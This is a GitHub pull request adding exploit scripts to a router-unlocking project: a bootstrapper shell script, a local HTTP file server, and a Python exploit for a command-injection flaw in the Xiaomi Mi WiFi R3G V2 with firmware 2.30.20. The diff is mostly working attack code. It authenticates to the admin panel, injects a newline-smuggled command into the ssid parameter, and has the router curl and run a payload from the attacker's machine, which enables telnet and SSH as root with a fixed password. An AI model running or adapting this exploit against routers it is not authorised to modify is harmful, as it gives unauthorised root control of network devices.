-
Notifications
You must be signed in to change notification settings - Fork 281
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Exploit scripts for the V2 of the Router with Firmware 2.30.20 #155
base: master
Are you sure you want to change the base?
Changes from all commits
d3c0c58
0cc4fce
5c45511
9963452
9f7fc63
29b59b0
5989f5d
df37117
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
#!/bin/ash | ||
|
||
set -euo pipefail | ||
cd /tmp | ||
tar -xzf /tmp/payload.tar.gz | ||
chmod a+x /tmp/script.sh | ||
/tmp/script.sh exploit | ||
|
||
exit 0 |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
import socketserver | ||
import threading | ||
import time | ||
import sys | ||
import http.server | ||
import socket | ||
|
||
class HttpFileServer: | ||
def __init__(self, root_dir='.'): | ||
HOST, PORT = '', 0 | ||
self.server = socketserver.TCPServer((HOST, PORT), http.server.SimpleHTTPRequestHandler) | ||
self.server.root_dir = root_dir | ||
self.ip, self.port = self.server.server_address | ||
|
||
def __enter__(self): | ||
self.run() | ||
return self | ||
|
||
def run(self): | ||
self.server_thread = threading.Thread(target=self.server.serve_forever) | ||
self.server_thread.daemon = True | ||
self.server_thread.start() | ||
print("local file server is runing on {}:{}. root='{}'".format(self.ip, self.port, self.server.root_dir)) | ||
|
||
def __exit__(self, exc_type, exc_val, exc_tb): | ||
print("stopping local file server") | ||
self.server.shutdown() | ||
self.server.server_close() | ||
|
||
|
||
if __name__ == "__main__": | ||
root_dir = '.' if len(sys.argv) <= 1 else sys.argv[1] | ||
with HttpFileServer(root_dir): | ||
while True: | ||
time.sleep(10) |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,17 +1,22 @@ | ||
#!/usr/bin/python | ||
# There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G before version stable 2.28.23. | ||
# The backup file is in tar.gz format. After uploading, the application uses the tar zxf command to decompress, | ||
# so you can control the contents of the files in the decompressed directory. | ||
# In addition, the application's sh script for testing upload and download speeds will read the url list from /tmp/speedtest_urls.xml, | ||
# and there is a command injection vulnerability. | ||
''' | ||
There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G V2 with version 2.30.20 and up we can | ||
use to activate Telnet and SSH to flash our own system on them. | ||
|
||
# discoverer: UltramanGaia from Kap0k & Zhiniang Peng from Qihoo 360 Core Security | ||
The script creates a payload, which is served via a local HTTP server, port 8000. The router | ||
will download the payload, extracts it and executes the already known script. | ||
|
||
# HOW TO RUN | ||
# Install requirements | ||
# pip3 install -r requirements.txt | ||
# Run the script | ||
# python3 remote_command_execution_vulnerability.py | ||
The busybox executable was removed from the firmware, so we have to include one, same with | ||
dropbear for SSH. They will be in the payload, no other downloads necessary. | ||
|
||
Source: https://github.com/acecilia/OpenWRTInvasion/issues/141#issuecomment-1296033775 | ||
|
||
HOW TO RUN | ||
Install requirements | ||
pip3 install -r requirements.txt | ||
Run the script | ||
python3 remote_command_execution_vulnerability.py | ||
''' | ||
|
||
import os | ||
import shutil | ||
|
@@ -24,19 +29,31 @@ | |
import hashlib | ||
import platform | ||
import socket | ||
import urllib.parse | ||
import socket | ||
|
||
# make sure that script.sh on windows uses \n | ||
#------------------------------------------------------------------------------------------------------------------ | ||
if platform.system() == "Windows": | ||
with open("script.sh", "rt", encoding = "UTF-8") as f: | ||
content = f.read() | ||
with open("script.sh", "wt", encoding = "UTF-8", newline="\n") as f: | ||
f.write(content) | ||
|
||
router_ip_address="miwifi.com" | ||
#router_ip_address = "192.168.31.1" | ||
router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address | ||
|
||
# get stok | ||
sys.exit("Stopping: script can only be run on a Mac/Linux system") | ||
#------------------------------------------------------------------------------------------------------------------ | ||
|
||
#------------------------------------------------------------------------------------------------------------------ | ||
# functions | ||
# get_hosting_ip for the webserver request | ||
def get_hosting_ip(): | ||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | ||
s.settimeout(0) | ||
try: | ||
# doesn't even have to be reachable | ||
s.connect(('192.168.31.1', 1)) | ||
IP = s.getsockname()[0] | ||
except Exception: | ||
IP = '127.0.0.1' | ||
finally: | ||
s.close() | ||
return IP | ||
#------------------------------------------------------------------------------------------------------------------ | ||
# get stok for router access | ||
def get_stok(router_ip_address): | ||
try: | ||
r0 = requests.get("http://{router_ip_address}/cgi-bin/luci/web".format(router_ip_address=router_ip_address)) | ||
|
@@ -50,7 +67,8 @@ def get_stok(router_ip_address): | |
return None | ||
key = re.findall(r'key: \'(.*)\',', r0.text)[0] | ||
nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000)) | ||
router_password = input("Enter router admin password: ") | ||
router_password = "12345678" | ||
router_password = input("Enter router admin password: '{}']: ".format(router_password)) or router_password | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. What is this hardcoded password? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. It's not "hardcoded" - it's initialized and a user could change it. I used 12345678 for the tests and with the placeholder, I did not have to enter it all the time. |
||
account_str = hashlib.sha1((router_password + key).encode('utf-8')).hexdigest() | ||
password = hashlib.sha1((nonce + account_str).encode('utf-8')).hexdigest() | ||
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce) | ||
|
@@ -64,81 +82,35 @@ def get_stok(router_ip_address): | |
print("Failed to get stok in login response '{}'".format(r1.text)) | ||
return None | ||
return stok | ||
|
||
stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ") | ||
print("""There two options to provide the files needed for invasion: | ||
1. Use a local TCP file server runing on random port to provide files in local directory `script_tools`. | ||
2. Download needed files from remote github repository. (choose this option only if github is accessable inside router device.)""") | ||
use_local_file_server = (input("Which option do you prefer? (default: 1)") or "1") == "1" | ||
|
||
# From https://blog.securityevaluators.com/show-mi-the-vulns-exploiting-command-injection-in-mi-router-3-55c6bcb48f09 | ||
# In the attacking machine (macos), run the following before executing this script: /usr/bin/nc -l 4444 | ||
command = "((sh /tmp/script.sh exploit) &)" | ||
|
||
# proxies = {"http":"http://127.0.0.1:8080"} | ||
proxies = {} | ||
|
||
if os.path.exists("build"): | ||
shutil.rmtree("build") | ||
os.makedirs("build") | ||
|
||
# make config file | ||
speed_test_filename = "speedtest_urls.xml" | ||
with open("speedtest_urls_template.xml", "rt", encoding = "UTF-8") as f: | ||
template = f.read() | ||
data = template.format(router_ip_address=router_ip_address, command=command) | ||
# print(data) | ||
with open("build/speedtest_urls.xml", "wt", encoding = "UTF-8", newline = "\n") as f: | ||
f.write(data) | ||
|
||
print("****************") | ||
print("router_ip_address: " + router_ip_address) | ||
print("stok: " + stok) | ||
print("file provider: " + ("local file server" if use_local_file_server else "remote github repository")) | ||
print("****************") | ||
|
||
# Make tar | ||
with tarfile.open("build/payload.tar.gz", "w:gz") as tar: | ||
tar.add("build/speedtest_urls.xml", "speedtest_urls.xml") | ||
tar.add("script.sh") | ||
# tar.add("busybox") | ||
# tar.add("extras/wget") | ||
# tar.add("extras/xiaoqiang") | ||
|
||
# upload config file | ||
print("start uploading config file...") | ||
r1 = requests.post( | ||
"http://{}/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(router_ip_address, stok), | ||
files={"image": open("build/payload.tar.gz", 'rb')}, | ||
proxies=proxies | ||
) | ||
# print(r1.text) | ||
|
||
def send_test_netspeed_request(router_ip_address, stok, port): | ||
r = requests.get( | ||
"http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed?{}".format(router_ip_address, stok, port), | ||
proxies=proxies | ||
) | ||
# print(r.text) | ||
|
||
# exec download speed test, exec command | ||
print("start exec command...") | ||
if use_local_file_server: | ||
from tcp_file_server import TcpFileServer | ||
file_server = TcpFileServer("script_tools") | ||
|
||
with file_server: | ||
# The TCP file server will use a random port number. | ||
# And this port number will be sent to the router luci web server through query parameters of testing net speed request here. | ||
# Then in the injected `script.sh`, we can get the client IP address and file server port | ||
# through CGI variables `REMOTE_ADDR` and `QUERY_STRING` to download needed files. | ||
send_test_netspeed_request(router_ip_address, stok, file_server.port) | ||
else: # Use remote github repository. port setted to 0. | ||
send_test_netspeed_request(router_ip_address, stok, port=0) | ||
|
||
retry = 3 | ||
delay = 1 | ||
timeout = 3 | ||
#------------------------------------------------------------------------------------------------------------------ | ||
# create_exploit_url creates the URL we use, to upload our payload and execute it | ||
def create_exploit_url(http_port_number): | ||
exploit_cmd = "cd /tmp && " | ||
exploit_cmd += "curl -s http://{}:{}/build/payload.tar.gz > payload.tar.gz && ".format(hosting_ip, http_port_number) | ||
exploit_cmd += "curl -s http://{}:{}/bootstrapper_v2.sh > bootstrapper.sh && ".format(hosting_ip, http_port_number) | ||
exploit_cmd += "/bin/ash /tmp/bootstrapper.sh".format(hosting_ip, http_port_number, hosting_ip, http_port_number) | ||
|
||
|
||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. [detail] Double blank line |
||
print("exploit url: {}".format(exploit_cmd)) | ||
exploit_code = urllib.parse.quote(exploit_cmd).replace("/", "%2F") | ||
print("exploit_code: {}".format(exploit_code)) | ||
|
||
exploit_url = "http://{}/cgi-bin/luci/;stok={}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0A{}%0A".format(router_ip_address, stok, exploit_code) | ||
print("exploit_url: {}".format(exploit_url)) | ||
return exploit_url | ||
#------------------------------------------------------------------------------------------------------------------ | ||
# checkHost - checks the host connection | ||
def checkHost(ip, port): | ||
ipup = False | ||
for i in range(retry): | ||
if isOpen(ip, port): | ||
ipup = True | ||
break | ||
else: | ||
time.sleep(delay) | ||
return ipup | ||
#------------------------------------------------------------------------------------------------------------------ | ||
# isOpen checks ports on the router | ||
def isOpen(ip, port): | ||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
s.settimeout(timeout) | ||
|
@@ -150,21 +122,56 @@ def isOpen(ip, port): | |
return False | ||
finally: | ||
s.close() | ||
#------------------------------------------------------------------------------------------------------------------ | ||
# BuildPayload creates the tar.gz we let the router download from out client | ||
def BuildPayload(): | ||
if os.path.exists("build"): | ||
shutil.rmtree("build") | ||
|
||
os.makedirs("build") | ||
|
||
# Make tar | ||
with tarfile.open("build/payload.tar.gz", "w:gz") as tar: | ||
tar.add("script_v2.sh", "script.sh") | ||
tar.add("extras/busybox/busybox", "busybox") | ||
tar.add("script_tools/dropbearStaticMipsel.tar.bz2", "dropbear.tar.bz2") | ||
#------------------------------------------------------------------------------------------------------------------ | ||
def ExecuteInjection(): | ||
from http_file_server import HttpFileServer | ||
web_server = HttpFileServer("build") | ||
|
||
with web_server: | ||
# upload and execute payload | ||
print("start uploading payload file...") | ||
payload_download = requests.get(create_exploit_url(web_server.port)) | ||
print(payload_download.text) | ||
|
||
#------------------------------------------------------------------------------------------------------------------ | ||
# Scriptstart | ||
#------------------------------------------------------------------------------------------------------------------ | ||
hosting_ip = get_hosting_ip() | ||
http_port_number = 0 | ||
router_ip_address="192.168.31.1" | ||
router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address | ||
hosting_ip = input("Local Host IP address [press enter for using the default '{}']: ".format(hosting_ip)) or hosting_ip | ||
stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ") | ||
|
||
def checkHost(ip, port): | ||
ipup = False | ||
for i in range(retry): | ||
if isOpen(ip, port): | ||
ipup = True | ||
break | ||
else: | ||
time.sleep(delay) | ||
return ipup | ||
print("****************") | ||
print("router_ip_address: " + router_ip_address) | ||
print("stok: " + stok) | ||
print("****************") | ||
|
||
BuildPayload() | ||
ExecuteInjection() | ||
|
||
retry = 5 | ||
delay = 5 | ||
timeout = 20 | ||
|
||
if checkHost(router_ip_address, 22): | ||
print("done! Now you can connect to the router using several options: (user: root, password: root)") | ||
print("* telnet {}".format(router_ip_address)) | ||
print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address)) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Why is There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Why is it needed in the first place? The ssh client does the handshake and got the right cipher and algorithms. ` debug1: compat_banner: no match: dropbear debug1: Authenticating to hella:22 as root debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: algorithm: curve25519-sha256 debug1: kex: host key algorithm: ssh-ed25519 debug1: kex: server->client cipher: [email protected] MAC: compression: none debug1: kex: client->server cipher: [email protected] MAC: compression: none debug1: expecting SSH2_MSG_KEX_ECDH_REPLY debug1: SSH2_MSG_KEX_ECDH_REPLY received debug1: Server host key: ssh-ed25519 SHA256:vFou7A4lAJIvzCPMb1ds1Eve7pMZ2z4YNDGTpz48S+4 debug1: Host hella is known and matches the ED25519 host key. |
||
print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address)) | ||
print("* ftp: using a program like cyberduck") | ||
else: | ||
print("Warning: the process has finished, but seems like ssh connection to the router is not working as expected.") | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is this intentional? Windows support is being dropped again?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If you have a Windows system, remove the code and try it. I have no Windows that was working with it, and when I have to give it to somebody without much knowledge, a live disk in VMWare would be easier.